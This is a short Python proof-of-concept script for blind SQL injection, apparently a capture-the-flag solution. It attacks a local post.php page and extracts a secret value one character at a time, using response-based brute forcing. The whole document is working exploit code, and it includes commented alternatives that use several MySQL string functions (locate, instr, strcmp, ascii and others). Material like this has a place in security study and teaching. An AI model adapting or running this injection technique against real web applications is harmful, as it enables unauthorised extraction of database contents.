blind sql injection

poc.py

import requests

tmp = '0x'
flag = ''
length = 1

# get flag length
while True:
	r = requests.get('http://localhost/post.php?id=length(@bounty)-{}'.format(length - 1))
	if '1337' in r.content: break
	else : length += 1

for pos in xrange(1, length + 1):
	# range of printable char only
	for i in xrange(32, 127):
		# using locate()
		r = requests.get('http://localhost/post.php?id=locate({}{:x},@bounty)'.format(tmp, i))

		# using find_in_set()
		#r = requests.get('http://localhost/post.php?id=find_in_set(left(@bounty,{}),{}{:x})'.format(pos, tmp, i))

		# using instr()
		#r = requests.get('http://localhost/post.php?id=instr(@bounty,{}{:x})'.format(tmp, i))

		# using strcmp()
		#r = requests.get('http://localhost/post.php?id=strcmp(left(@bounty,{}),{}{:x})%2b1'.format(pos, tmp, i))

		# using position()
		#r = requests.get('http://localhost/post.php?id=position(({}{:x})IN(@bounty))'.format(tmp, i))

		# using ascii()
		#r = requests.get('http://localhost/post.php?id=ascii(right(reverse(@bounty),{}))-{}'.format(pos, i - 1))

		if '1337' in r.content:
			tmp += '{:x}'.format(i)
			flag += chr(i)
			print flag
			break

print flag